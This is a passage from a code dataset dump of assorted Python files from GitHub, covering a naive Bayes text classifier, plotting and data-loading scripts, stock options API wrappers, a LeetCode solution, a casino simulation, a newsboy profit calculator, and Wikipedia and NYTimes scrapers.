(max_df-min_df)<0.1:\n # print('---> (max_df-min_df)<0.1: skipping')\n # return None, 0.0\n\n # transforming data type from YAML to python\n if norm == 'None':\n norm = None\n if min_df == 1.0:\n min_df = 1\n\n # print cpu info\n print('\\n---> CPU ')\n mem_utils.info_cpu()\n\n # print mem info\n mem_utils.info_details_mem(text='---> details memory info: start')\n\n # print mem info\n mem_utils.info_mem(text=' ---> memory info: start')\n\n # get data\n train_df, eval_df = get_data.create_dataframes(frac, eval_size, nb_label)\n mem_utils.mem_df(train_df, text='\\n---> memory training dataset')\n mem_utils.mem_df(eval_df, text='\\n---> memory evalution dataset')\n\n train_X, train_y = get_data.input_fn(train_df)\n eval_X, eval_y = get_data.input_fn(eval_df)\n\n del train_df\n del eval_df\n\n # print mem info\n mem_utils.info_mem(text='\\n---> memory info: after creation dataframe')\n\n use_pipeline = False\n\n if not use_pipeline:\n with parallel_backend('threading', n_jobs=16):\n print('joblib parallel_backend')\n try:\n # train\n cv = CountVectorizer(max_df=max_df, min_df=min_df, max_features=10000).fit(train_X)\n word_count_vector = cv.transform(train_X)\n print(' ---> Size CountVectorizer matrix')\n print('number of row {:,}'.format(word_count_vector.shape[0]))\n print('number of col {:,}'.format(word_count_vector.shape[1]))\n voc = cv.vocabulary_\n voc_list = sorted(voc.items(), key=lambda kv: kv[1], reverse=True)\n print(' --> length of the vocabulary vector: {:,}'.format(len(cv.get_feature_names())))\n # print(voc_list)\n\n # print mem info\n mem_utils.info_mem(text=' ---> memory info: after CountVectorizer')\n\n tfidf_transformer = TfidfTransformer(norm=norm).fit(word_count_vector)\n tfidf_vector = tfidf_transformer.transform(word_count_vector)\n print('cv tfidf', tfidf_vector.shape)\n # print(tfidf_vector)\n\n # print mem info\n mem_utils.info_mem(text=' ---> memory info: after TfidfTransformer')\n\n nb_model = MultinomialNB(alpha=alpha).fit(tfidf_vector, train_y)\n\n word_count_vector_eval = cv.transform(eval_X)\n tfidf_vector_eval = tfidf_transformer.transform(word_count_vector_eval)\n except Exception as ex:\n print('---> MultinomialNB(alpha=alpha).fit(tfidf_vector, train_y) is crashing ...', ex)\n return None, 0.0\n\n else:\n pipeline = Pipeline([('Word Embedding', CountVectorizer(max_df=max_df, min_df=min_df)),\n ('Feature Transform', TfidfTransformer(norm=norm)),\n ('Classifier', MultinomialNB(alpha=alpha))])\n\n try:\n pipeline.fit(train_X, train_y)\n except Exception as ex:\n print('---> pipeline.fit(train_X, train_y) is crashing ...', ex)\n return None, 0.0\n\n print('the list of steps and parameters in the pipeline\\n')\n for k, v in pipeline.named_steps.items():\n print('{}:{}\\n'.format(k, v))\n\n # print the lenght of the vocabulary\n has_index = False\n if 'Word Embedding' in pipeline.named_steps.keys():\n # '.vocabulary_': dictionary item (word) and index 'world': index\n # '.get_feature_names()': list of word from (vocabulary)\n voc = pipeline.named_steps['Word Embedding'].vocabulary_\n voc_list = sorted(voc.items(), key=lambda kv: kv[1], reverse=True)\n print(' --> length of the vocabulary vector : \\n{} {} \\n'.format(len(voc), len(pipeline.named_steps['Word Embedding'].get_feature_names())))\n\n # looking at the word occurency after CountVectorizer\n vect_fit = pipeline.named_steps['Word Embedding'].transform(eval_X)\n counts = np.asarray(vect_fit.sum(axis=0)).ravel().tolist()\n df_counts = pd.DataFrame({'term': pipeline.named_steps['Word Embedding'].get_feature_names(), 'count': counts})\n df_counts.sort_values(by='count', ascending=False, inplace=True)\n print(' --> df head 20')\n print(df_counts.head(20))\n print(' --> df tail 20')\n print(df_counts.tail(20))\n print(' --- ')\n n = 0\n for i in voc_list:\n n += 1\n print(' ', i)\n if (n > 20):\n break\n print(' --> more frequet words: \\n{} \\n'.format(voc_list[0:20]))\n print(' --- ')\n print(' --> less frequet words: \\n{} \\n'.format(voc_list[-20:-1]))\n print(' --- ')\n print(' --> longest word: \\n{} \\n'.format(max(voc, key=len)))\n print(' ---)')\n print(' --> shortest word: \\n{} \\n'.format(min(voc, key=len)))\n print(' --- ')\n index = pipeline.named_steps['Word Embedding'].get_feature_names()\n has_index = True\n\n # print the tfidf values\n if 'Feature Transform' in pipeline.named_steps.keys():\n tfidf_value = pipeline.named_steps['Feature Transform'].idf_\n # print('model\\'s methods: {}\\n'.format(dir(pipeline.named_steps['tfidf'])))\n if has_index:\n # looking at the word occurency after CountVectorizer\n tfidf_fit = pipeline.named_steps['Feature Transform'].transform(vect_fit)\n tfidf = np.asarray(tfidf_fit.mean(axis=0)).ravel().tolist()\n df_tfidf = pd.DataFrame({'term': pipeline.named_steps['Word Embedding'].get_feature_names(), 'tfidf': tfidf})\n df_tfidf.sort_values(by='tfidf', ascending=False, inplace=True)\n print(' --> df head 20')\n print(df_tfidf.head(20))\n print(' --> df tail 20')\n print(df_tfidf.tail(20))\n print(' --- ')\n tfidf_series = pd.Series(data=tfidf_value, index=index)\n print(' --> IDF:')\n print(' --> Smallest idf:\\n{}'.format(tfidf_series.nsmallest(20).index.values.tolist()))\n print(' {} \\n'.format(tfidf_series.nsmallest(20).values.tolist()))\n print(' --- ')\n print(' --> Largest idf:\\n{}'.format(tfidf_series.nlargest(20).index.values.tolist()))\n print('{} \\n'.format(tfidf_series.nlargest(20).values.tolist()))\n print(' --- ')\n\n # print mem info\n mem_utils.info_mem(text=' ---> memory info: after model training')\n\n # evaluate\n if not use_pipeline:\n train_y_pred = nb_model.predict(tfidf_vector)\n else:\n train_y_pred = pipeline.predict(train_X)\n\n # define the score we want to use to evaluate the classifier on\n acc_train = accuracy_score(train_y, train_y_pred)\n\n del train_X\n\n # evaluate\n if not use_pipeline:\n eval_y_pred = nb_model.predict(tfidf_vector_eval)\n else:\n eval_y_pred = pipeline.predict(eval_X)\n\n # define the score we want to use to evaluate the classifier on\n acc_eval = accuracy_score(eval_y, eval_y_pred)\n\n del eval_X\n\n # print mem info\n mem_utils.info_mem(text='---> memory info: after model evaluation')\n\n print('accuracy on test set: \\n {} % \\n'.format(acc_eval))\n print('accuracy on train set: \\n {} % \\n'.format(acc_train))\n if not use_pipeline:\n return nb_model, acc_eval\n else:\n return pipeline, acc_eval\n","repo_name":"tarrade/proj_multilingual_text_classification","sub_path":"src/model/sklearn_naive_bayes/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8202,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"36572926254","text":"from __future__ import print_function\nfrom pathlib import Path\nimport argparse\nimport math\nimport os\n\n# Third party imports.\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\nfrom colour import Color\nimport seaborn as sns\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n# Local application imports.\n\n# Metadata\n__program__ = \"Plot Cell Fraction per PIC\"\n__author__ = \"Martijn Vochteloo\"\n__maintainer__ = \"Martijn Vochteloo\"\n__email__ = \"m.vochteloo@rug.nl\"\n__license__ = \"BSD (3-Clause)\"\n__version__ = 1.0\n__description__ = \"{} is a program developed and maintained by {}. \" \\\n \"This program is licensed under the {} license and is \" \\\n \"provided 'as-is' without any warranty or indemnification \" \\\n \"of any kind.\".format(__program__,\n __author__,\n __license__)\n\n\"\"\"\nSyntax:\n./plot_cf_per_pic.py -h\n\"\"\"\n\n\nclass main():\n def __init__(self):\n # Get the command line arguments.\n arguments = self.create_argument_parser()\n self.cf_path = getattr(arguments, 'cell_fractions')\n self.pics_path = getattr(arguments, 'pics')\n self.selection = getattr(arguments, 'selection')\n self.center = getattr(arguments, 'center')\n self.outfile = getattr(arguments, 'outfile')\n self.extensions = getattr(arguments, 'extensions')\n self.n_bins = 10\n self.hue_order = [i for i in range(self.n_bins + 1)]\n\n # Set variables.\n self.outdir = os.path.join(str(os.path.dirname(os.path.abspath(__file__))), 'plot')\n if not os.path.exists(self.outdir):\n os.makedirs(self.outdir)\n\n # Set the right pdf font for exporting.\n matplotlib.rcParams['pdf.fonttype'] = 42\n matplotlib.rcParams['ps.fonttype'] = 42\n\n self.palette = self.create_colormap()\n print(self.palette)\n print(self.hue_order)\n\n @staticmethod\n def create_argument_parser():\n parser = argparse.ArgumentParser(prog=__program__,\n description=__description__)\n\n # Add optional arguments.\n parser.add_argument(\"-v\",\n \"--version\",\n action=\"version\",\n version=\"{} {}\".format(__program__,\n __version__),\n help=\"show program's version number and exit.\")\n parser.add_argument(\"-cf\",\n \"--cell_fractions\",\n type=str,\n required=True,\n help=\"The path to the cell fractions matrix.\")\n parser.add_argument(\"-p\",\n \"--pics\",\n type=str,\n required=True,\n help=\"The path to the PICS matrix.\")\n parser.add_argument(\"-s\",\n \"--selection\",\n nargs=\"*\",\n type=str,\n default=None,\n help=\"The PICs to include.\")\n parser.add_argument(\"-center\",\n action='store_true',\n help=\"Center cell fractions.\")\n parser.add_argument(\"-o\",\n \"--outfile\",\n type=str,\n required=True,\n help=\"The name of the output file\")\n parser.add_argument(\"-e\",\n \"--extensions\",\n type=str,\n nargs=\"+\",\n default=[\"png\"],\n choices=[\"eps\", \"pdf\", \"pgf\", \"png\", \"ps\", \"raw\", \"rgba\", \"svg\", \"svgz\"],\n help=\"The output file format(s), default: ['png']\")\n\n return parser.parse_args()\n\n def start(self):\n self.print_arguments()\n\n print(\"Loading data.\")\n cf_df = self.load_file(self.cf_path)\n pics_df = self.load_file(self.pics_path).T\n if self.selection is None:\n self.selection = pics_df.columns.tolist()\n\n print(\"Preprocessing data.\")\n cf_df = cf_df * 100\n if self.center:\n cf_df = cf_df.subtract(cf_df.mean(axis=0), axis=1)\n cf_df[\"index\"] = cf_df.index\n cc_dfm = cf_df.melt(id_vars=[\"index\"],\n var_name=\"cell type\",\n value_name=\"proportion\")\n cc_dfm.dropna(inplace=True)\n del cf_df\n\n print(\"Plotting.\")\n for pic in self.selection:\n print(\"\\t{}\".format(pic))\n df = cc_dfm.copy()\n loading_dict = dict(zip(pics_df.index, pics_df[pic]))\n df[\"loading\"] = df[\"index\"].map(loading_dict)\n\n # Bin the PIC loadings.\n lower_threshold = -np.inf\n x = 1\n for x in range(self.n_bins):\n upper_threshold = stats.norm.ppf(x / self.n_bins)\n df.loc[(df[\"loading\"] > lower_threshold) & (df[\"loading\"] <= upper_threshold), \"bin\"] = x\n lower_threshold = upper_threshold\n df.loc[df[\"loading\"] > lower_threshold, \"bin\"] = x + 1\n\n self.plot_boxplot(\n df=df,\n x=\"cell type\",\n y=\"proportion\",\n hue=\"bin\",\n hue_order=self.hue_order,\n palette=self.palette,\n hline=self.center,\n xlabel=\"\",\n ylabel=\"cell fraction % change\" if self.center else \"cell fraction %\",\n title=pic,\n filename=\"{}_{}\".format(self.outfile, pic)\n )\n\n del df\n\n @staticmethod\n def load_file(path, sep=\"\\t\", header=0, index_col=0, nrows=None,\n low_memory=True):\n df = pd.read_csv(path, sep=sep, header=header, index_col=index_col,\n nrows=nrows, low_memory=low_memory)\n print(\"\\tLoaded dataframe: {} \"\n \"with shape: {}\".format(os.path.basename(path),\n df.shape))\n return df\n\n def create_colormap(self):\n values = [i for i in range(self.n_bins + 1)]\n colors = ['#' + ''.join(f'{int(i * 255):02X}' for i in x) for x in sns.diverging_palette(240, 10, n=self.n_bins + 1)]\n\n color_map = {}\n for val, col in zip(values, colors):\n color_map[val] = col\n\n print(color_map)\n return color_map\n\n def plot_boxplot(self, df, x=\"variable\", y=\"value\", hue=None, hue_order=None,\n hline=False, palette=None, xlabel=\"\", ylabel=\"\", title=\"\",\n filename=\"\"):\n\n sns.set(rc={'figure.figsize': (12, 9)})\n sns.set_style(\"ticks\")\n fig, ax = plt.subplots()\n sns.despine(fig=fig, ax=ax)\n\n sns.violinplot(x=x,\n y=y,\n hue=hue,\n hue_order=hue_order,\n data=df,\n palette=palette,\n cut=0,\n dodge=True,\n ax=ax)\n\n plt.setp(ax.collections, alpha=.75)\n\n sns.boxplot(x=x,\n y=y,\n hue=hue,\n hue_order=hue_order,\n data=df,\n color=\"white\",\n dodge=True,\n ax=ax)\n\n if ax.get_legend() is not None:\n ax.get_legend().remove()\n\n if hline:\n ax.axhline(0, ls='--', color=\"#000000\", alpha=0.5, zorder=-1,\n linewidth=2)\n\n ax.set_title(title,\n fontsize=20,\n fontweight='bold')\n ax.set_xlabel(xlabel,\n fontsize=14,\n fontweight='bold')\n ax.set_ylabel(ylabel,\n fontsize=14,\n fontweight='bold')\n\n plt.tight_layout()\n for extension in self.extensions:\n outpath = os.path.join(self.outdir, \"{}.{}\".format(filename, extension))\n fig.savefig(outpath)\n plt.close()\n\n def print_arguments(self):\n print(\"Arguments:\")\n print(\" > Cell fraction path: {}\".format(self.cf_path))\n print(\" > Pics path: {}\".format(self.pics_path))\n print(\" > Selection: {}\".format(self.selection))\n print(\" > Center: {}\".format(self.center))\n print(\" > Outfile: {}\".format(self.outfile))\n print(\" > Extensions: {}\".format(self.extensions))\n print(\" > Output directory: {}\".format(self.outdir))\n print(\"\")\n\n\nif __name__ == '__main__':\n m = main()\n m.start()\n","repo_name":"molgenis/PICALO","sub_path":"dev/general/paper_scripts/plot_cf_per_pic.py","file_name":"plot_cf_per_pic.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"74039578351","text":"from functools import wraps\n\nimport pandas as pd\nfrom deprecation import deprecated\n\nfrom ..common import _get, _raiseIfNotStr, _toDatetime, _timeseriesWrapper\n\nfrom ..timeseries import timeSeries\n\n\ndef optionExpirations(symbol, token=\"\", version=\"stable\", filter=\"\", format=\"json\"):\n \"\"\"Returns end of day options data\n\n https://iexcloud.io/docs/api/#options\n 9:30am-5pm ET Mon-Fri\n\n Args:\n symbol (str): Ticker to request\n token (str): Access token\n version (str): API version\n filter (str): filters: https://iexcloud.io/docs/api/#filter-results\n format (str): return format, defaults to json\n\n Returns:\n dict or DataFrame: result\n \"\"\"\n _raiseIfNotStr(symbol)\n return _get(\n \"stock/\" + symbol + \"/options\",\n token=token,\n version=version,\n filter=filter,\n format=format,\n )\n\n\n@deprecated(details=\"Deprecated: Migrate to `options`\")\ndef stockOptions(\n symbol,\n expiration,\n side=\"\",\n token=\"\",\n version=\"stable\",\n filter=\"\",\n format=\"json\",\n):\n \"\"\"Returns end of day options data\n\n https://iexcloud.io/docs/api/#options\n 9:30am-5pm ET Mon-Fri\n\n Args:\n symbol (str): Ticker to request\n expiration (str): Expiration date\n side (str): Side (optional)\n token (str): Access token\n version (str): API version\n filter (str): filters: https://iexcloud.io/docs/api/#filter-results\n format (str): return format, defaults to json\n\n Returns:\n dict or DataFrame: result\n \"\"\"\n _raiseIfNotStr(symbol)\n if side:\n return _get(\n \"stock/{symbol}/options/{expiration}/{side}\".format(\n symbol=symbol, expiration=expiration, side=side\n ),\n token=token,\n version=version,\n filter=filter,\n format=format,\n )\n return _get(\n \"stock/{symbol}/options/{expiration}/\".format(\n symbol=symbol, expiration=expiration\n ),\n token=token,\n version=version,\n filter=filter,\n format=format,\n )\n\n\n@wraps(stockOptions)\ndef stockOptionsDF(*args, **kwargs):\n return _toDatetime(pd.DataFrame(stockOptions(*args, **kwargs)), tcols=[\"date\"])\n\n\ndef options(\n contract, token=\"\", version=\"stable\", filter=\"\", format=\"json\", **timeseries_kwargs\n):\n \"\"\"Options EOD prices\n Args:\n contract (str): Specific dated option contract, e.g. SPY20210714C00475000\n token (str): Access token\n version (str): API version\n filter (str): filters: https://iexcloud.io/docs/api/#filter-results\n format (str): return format, defaults to json\n\n Supports all kwargs from `pyEX.timeseries.timeSeries`\n\n Returns:\n dict or DataFrame: result\n \"\"\"\n _raiseIfNotStr(contract)\n _timeseriesWrapper(timeseries_kwargs)\n return timeSeries(\n id=contract,\n key=\"chart\",\n token=token,\n version=version,\n overrideBase=\"options\",\n filter=filter,\n format=format,\n **timeseries_kwargs\n )\n\n\n@wraps(options)\ndef optionsDF(*args, **kwargs):\n return _toDatetime(\n pd.DataFrame(options(*args, **kwargs)),\n reformatcols=[\"datetime\", \"date\", \"updated\"],\n )\n","repo_name":"timkpaine/pyEX","sub_path":"pyEX/options/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":404,"dataset":"github-code","pt":"38"} +{"seq_id":"33087275273","text":"class Solution:\n def nextGreaterElements(self, nums: List[int]) -> List[int]:\n n = len(nums)\n maxIndex = nums[::-1].index(max(nums))\n maxIndex = (n-1) - maxIndex\n # print(maxIndex)\n nums2 = nums[maxIndex+1:] + nums[:maxIndex+1]\n print(nums2)\n # O(N) Space\n stack = [nums2[-1]]\n \n nextGreater = defaultdict(int)\n nextGreater[(nums2[-1],len(nums)-1)] = -1\n \n # O(N) Time\n for i in reversed(range(0,len(nums2)-1)):\n currElement = nums2[i]\n # we want to find next \"greater element\"\n while stack and stack[-1] <= currElement:\n stack.pop()\n \n nextGreater[(currElement,i)] = stack[-1] if stack else -1\n \n # insert this element\n stack.append(currElement)\n \n \n result = []\n # O(M) Time\n for index,num in enumerate(nums2):\n result.append(nextGreater[(num,index)])\n \n reconcile = (n-2) - maxIndex\n print(nextGreater)\n print(result)\n return result[reconcile+1:] + result[:reconcile+1]\n \n ","repo_name":"AbdulMalikDev/Grind169","sub_path":"503-next-greater-element-ii/503-next-greater-element-ii.py","file_name":"503-next-greater-element-ii.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"2301793475","text":"from gui.entities import Building, Game\nfrom Ubicaciones_fijas import *\nfrom random import getrandbits\nfrom Parametros import *\n\nclass Juego(Game):\n def __init__(self, nombre):\n super().__init__(nombre)\n self.nombre = \"\"\n self.personal = []\n self.capacidad = 0\n self.pozo = 0\n self.probabilidad_juego_ruleta = 0\n self.probabilidad_juego_tragamonedas = 0\n self.tipo_apuesta = \"\"\n self.numero_color = \"\"\n self.color = \"\"\n self.pozo_casino = 0\n self.ganancia = 0\n self.visitas = 0\n self.perdida = 0\n\n\nclass NoJuegos(Building):\n def __init__(self, nombre):\n super().__init__(nombre)\n self.personal = 0\n self.pozo_casino = 0\n self.visitas = 0\n self.no_funcionando = 0\n\nclass Tragamonedas(Juego):\n def __init__(self):\n super().__init__(\"tragamonedas\")\n self.nombre = \"tragamonedas\"\n self.id = \"{}{}\".format(self.nombre, getrandbits(28))\n self.estado = False\n self.capacidad = 1\n self.probabilidad_tragamoneda = alfa\n\n if len(lista_ub_tragamonedas) > 0:\n self.ubicacion = lista_ub_tragamonedas.pop()\n self.x = self.ubicacion[0]\n self.y = self.ubicacion[1]\n\n else:\n return\n\n def estado_(self):\n c = 0\n for i in self.personal:\n if i.trabajando == True:\n c += 1\n\n if c < 1:\n self.estado = False\n else:\n self.estado = True\n\n\nclass Ruleta(Juego):\n def __init__(self):\n super().__init__(\"ruleta\")\n self.nombre = \"ruleta\"\n self.id = \"{}{}\".format(self.nombre, getrandbits(28))\n self.estado = False\n if len(lista_ub_ruleta) > 0:\n self.ubicacion = lista_ub_ruleta.pop()\n self.x = self.ubicacion[0]\n self.y = self.ubicacion[1]\n else:\n return\n\n if self.tipo_apuesta == \"color\":\n if self.color == \"Verde\":\n self.ganancia = 5\n self.probabilidad_juego_ruleta = 1 / (gamma + 1)\n\n elif self.color == \"Negro\":\n self.ganancia = 1.5\n self.probabilidad_juego_ruleta = gamma / (2 * (gamma + 1))\n\n elif self.color == \"Rojo\":\n self.ganancia = 1.5\n self.probabilidad_juego_ruleta = gamma / (2 * (gamma + 1))\n\n else:\n self.ganancia = 5\n self.probabilidad_juego_ruleta = 1 / (gamma + 1)\n\n def estado_(self):\n c = 0\n for i in self.personal:\n if i.trabajando == True:\n c += 1\n if c < 1:\n self.estado = False\n else:\n self.estado = True\n\n\nclass Tarot(NoJuegos):\n def __init__(self):\n super().__init__(\"tarot\")\n self.nombre = \"tarot\"\n self.id = \"{}{}\".format(self.nombre, getrandbits(28))\n self.costo = 10\n self.personal = []\n self.estado = False\n self.capacidad = 1\n\n if len(lista_ub_tarot) > 0:\n self.ubicacion = lista_ub_tarot.pop()\n self.x = self.ubicacion[0]\n self.y = self.ubicacion[1]\n else:\n return\n\n def estado_(self):\n c = 0\n for i in self.personal:\n if i.trabajando == True:\n c += 1\n if c == 1:\n self.estado = True\n else:\n self.estado = False\n\nclass Restobar(NoJuegos):\n def __init__(self):\n super().__init__(\"restobar\")\n self.nombre = \"restobar\"\n self.id = \"{}{}\".format(self.nombre, getrandbits(28))\n self.x = 420\n self.y = 230\n self.estado = False\n self.capacidad = 20\n self.personal = []\n\n def estado_(self):\n c = 0\n for i in self.personal:\n if i.trabajando == True:\n c += 1\n if c < 2:\n self.estado = False\n\n else:\n self.estado = True\n\n\nclass Restroom(NoJuegos):\n # Puse solo 1 baño, que es el que tienen para usar todos\n def __init__(self):\n super().__init__(\"baños\")\n self.nombre = \"baño\"\n self.id = \"{}{}\".format(self.nombre, getrandbits(28))\n self.x = 650\n self.y = 350\n self.estado = True","repo_name":"tamaralues/ProgramacionAvanzada2018","sub_path":"Tareas/T02/Juegos.py","file_name":"Juegos.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13875800997","text":"import copy\nimport numpy as np\nfrom pandas import DataFrame as df\n\n\ndef load_data(data_dir=\"data.csv\", n_train=40, shuffle=True):\n # DEFINITION\n # ==========\n data_dir = \"data.csv\"\n\n # MAKE INPUT DATA\n # ===============\n\n # Load data\n # ---------\n\n data_raw = df.from_csv(data_dir, index_col=0)\n\n # Shuffle data\n # ------------\n\n if shuffle:\n data_raw = data_raw.sample(frac=1).reset_index(drop=True)\n\n # Data sanitation\n # ---------------\n\n # convert all headers to lower case\n data_raw.columns = [i.lower().replace(' ', '_') for i in data_raw.columns]\n\n # convert all data to lower case\n for i in data_raw:\n _data_type = data_raw[i].dtype\n if not np.issubdtype(_data_type, np.number):\n data_raw[i] = data_raw[i].str.lower()\n\n # remove post incident columns\n # data_raw.pop('ignition')\n # data_raw.pop('ignition_floor')\n # data_raw.pop('wind')\n # data_raw.pop('falling_material')\n # data_raw.pop('under_construction')\n\n # MAKE LABEL/CLASS\n # ================\n\n # Obtain Fatality and Injury\n # ---------------------------------------------------\n\n # categorise label column, i.e. 'hazard_classification'\n hazard_classification = copy.copy(data_raw['fatalities'])\n hazard_classification = hazard_classification.astype(int)\n\n # delete Fatality and Injury from original data sheet\n fatalities = data_raw.pop(\"fatalities\")\n injuries = data_raw.pop(\"injuries\")\n\n # classification Fatality and Injury buckets\n risk_class_fatality = [1, 5, 10, 20, 50, 1e10]\n risk_class_injuries = [1, 5, 10, 20, 50, 1e10]\n\n # calculation\n for i, v_fatalities in enumerate(list(fatalities)):\n\n v_injuries = injuries.iloc[i]\n\n if v_fatalities > 0:\n for i_ in np.arange(1, len(risk_class_fatality)):\n bound_1 = risk_class_fatality[i_ - 1]\n bound_2 = risk_class_fatality[i_]\n if bound_1 <= v_fatalities < bound_2:\n hazard_classification.iloc[i] = i_ + len(risk_class_injuries)\n break\n elif v_injuries > 0:\n for i_ in np.arange(1, len(risk_class_injuries)):\n bound_1 = risk_class_injuries[i_ - 1]\n bound_2 = risk_class_injuries[i_]\n if bound_1 <= v_injuries < bound_2:\n hazard_classification.iloc[i] = i_\n break\n elif v_fatalities == 0 and v_injuries == 0:\n hazard_classification.iloc[i] = 0\n continue\n\n else:\n print(\"train feature category not recognised: {}, {}\".format(i, v_fatalities))\n\n data_raw['hazard_classification'] = hazard_classification\n\n # SAVE SANITISED DATA\n # ===================\n\n # this is for testing purpose, to inspect the clean data and produced classes\n data_raw.to_csv('data_clean.csv')\n\n # SELECT TRAINING AND TESTING DATASET\n # ===================================\n\n # 'n_train' is the defined number for training data items. first 'n_train' rows in 'data_raw' are selected for model\n # training purpose. what is left are used for model testing purpose\n\n # at this point, rows in 'data_raw' are shuffled, therefore, the selected training and testing data are shuffled\n\n train_xy = data_raw[:n_train]\n test_xy = data_raw[n_train:]\n\n # index numbering for training and testing DataFrame are sorted. this should not affect anything but for debugging\n # purpose\n\n train_xy.reset_index(drop=True, inplace=True)\n test_xy.reset_index(drop=True, inplace=True)\n\n # separate feature columns and label column for training and testing data\n\n train_x, train_y = train_xy, train_xy.pop('hazard_classification')\n test_x, test_y = test_xy, test_xy.pop('hazard_classification')\n\n # DEBUG\n # =====\n\n # str_labels = list(all_label.drop_duplicates())\n # str_labels.sort()\n # print(str_labels)\n\n return (train_x, train_y), (test_x, test_y)\n","repo_name":"PySFE/ctbuh_alpha","sub_path":"project/func_data.py","file_name":"func_data.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25208085139","text":"c = int(input())\r\nr = int(input())\r\nN = int(input())\r\ns = int(input())\r\nall_p = []\r\n\r\nfor i in range(N + 1):\r\n p = float(input())\r\n if 0 <= p <= 1:\r\n all_p.append(p)\r\n else:\r\n print(\"p要在0~1之間\")\r\n break\r\n \r\nif 1 <= c <= 100 and 1 <= r <= 100 and r >= c and 1 <= N <= 1000:\r\n best_profit = 0\r\n best_q = 0\r\n for q in range(N + 1): # 訂報紙數量\r\n ev = 0\r\n sell_p = 1\r\n if q == 0:\r\n ev = 0\r\n else:\r\n for sell_num in range(q): # 賣出數量\r\n ev += (r*sell_num - c*q + s*(q - sell_num))*all_p[sell_num]\r\n sell_p -= all_p[sell_num]\r\n ev += (r*(sell_num+1) - c*q)*sell_p\r\n if ev > best_profit:\r\n best_profit = ev\r\n best_q = q\r\n print(best_q, int(best_profit))\r\nelse:\r\n print(\"輸入範圍錯誤\")","repo_name":"ChengZheWu/Programming-for-Business-Computing-in-Python","sub_path":"Course 1/newsboy.py","file_name":"newsboy.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18008490972","text":"import requests\nimport json\nimport os\n\nif not os.path.isdir(\"articles/\"):\n os.mkdir(\"articles/\")\n\n# Get PDF dump using Wikipedia API\ndef wikipediaRequestArticlePDF(title):\n\n if not os.path.isfile(\"articles/\" + title + \".pdf\"):\n \n print(\"Downloading as PDF...\")\n content = requests.get(\"https://en.wikipedia.org/api/rest_v1/page/pdf/\" + title).content\n with open(\"articles/\" + title + \".pdf\", \"wb\") as f:\n f.write(content)\n \n else: \n \n print(\"Article already exists on disk.\")\n\n# Get title using Wikidata API\ndef wikiDataRequestArticles(id):\n\n print(\"Requesting \" + str(id))\n content = requests.get(\"https://www.wikidata.org/w/api.php?action=wbgetentities&format=json&props=sitelinks&ids=Q\" + str(id) + \"&sitefilter=enwiki\").content\n jsonObj = json.loads(content)\n\n try:\n\n title = jsonObj[\"entities\"][\"Q\"+str(id)][\"sitelinks\"][\"enwiki\"][\"title\"]\n print(\"Page found! Title: \" + title)\n wikipediaRequestArticlePDF(title)\n except KeyError:\n \n print(str(id) + \" Doesn't exist!\")\n\ncounter = 1\n\n# Wikidata API IDs are ordered properly, Wikipedia page IDs aren't, so we iterate through Wikidata IDs.\n\nwhile True:\n wikiDataRequestArticles(counter)\n counter = counter + 1\n","repo_name":"owu-fd/WikipediaScraper","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28924403437","text":"from class_gui import *\nfrom class_player import *\nimport json\n\n\nclass Controller:\n def __init__(self):\n self.clock = pygame.time.Clock()\n self.width = 16\n self.height = 9\n self.tile = 24\n self.player = Player()\n\n with open(\"data/level.json\") as file:\n self.level = json.load(file)\n self.player.x = self.level['start_position']['x']\n self.player.y = self.level['start_position']['y']\n\n self.gui = Gui(self)\n\n def run(self):\n\n move_left = move_right = move_up = move_down = move_jump = False\n\n while 1:\n self.clock.tick(60)\n\n for e in pygame.event.get():\n if e.type == pygame.KEYDOWN and e.key in [pygame.K_LEFT,\n pygame.K_a]:\n move_left = True\n if e.type == pygame.KEYDOWN and e.key in [pygame.K_RIGHT,\n pygame.K_d]:\n move_right = True\n if e.type == pygame.KEYDOWN and e.key in [pygame.K_UP,\n pygame.K_w]:\n move_up = True\n if e.type == pygame.KEYDOWN and e.key in [pygame.K_DOWN,\n pygame.K_s]:\n move_down = True\n # Если нажата клавиша пробел, то выполняется прыжок\n if e.type == pygame.KEYDOWN and e.key in [pygame.K_SPACE]:\n move_jump = True\n\n if e.type == pygame.KEYUP and e.key in [pygame.K_LEFT,\n pygame.K_a]:\n move_left = False\n if e.type == pygame.KEYUP and e.key in [pygame.K_RIGHT,\n pygame.K_d]:\n move_right = False\n if e.type == pygame.KEYUP and e.key in [pygame.K_UP,\n pygame.K_w]:\n move_up = False\n if e.type == pygame.KEYUP and e.key in [pygame.K_DOWN,\n pygame.K_s]:\n move_down = False\n # Если отжата клавиша пробел, то выполняется прыжок\n if e.type == pygame.KEYUP and e.key in [pygame.K_SPACE]:\n move_jump = False\n\n if e.type == pygame.QUIT:\n exit()\n\n # Передаем состояние прыжка в класс игрока\n self.player.move(move_left=move_left, move_right=move_right, move_up=move_up, move_down=move_down, move_jump=move_jump)\n self.gui.update()\n","repo_name":"savinkirillnick/game","sub_path":"lesson4-1/class_controller.py","file_name":"class_controller.py","file_ext":"py","file_size_in_byte":2877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"19060835264","text":"import requests\nfrom bs4 import BeautifulSoup\n\nbase_url = 'http://www.nytimes.com'\nr = requests.get(base_url)\nsoup = BeautifulSoup(r.text, \"html.parser\")\n\nfor story_heading in soup.find_all(class_=\"story-heading\"):\n if 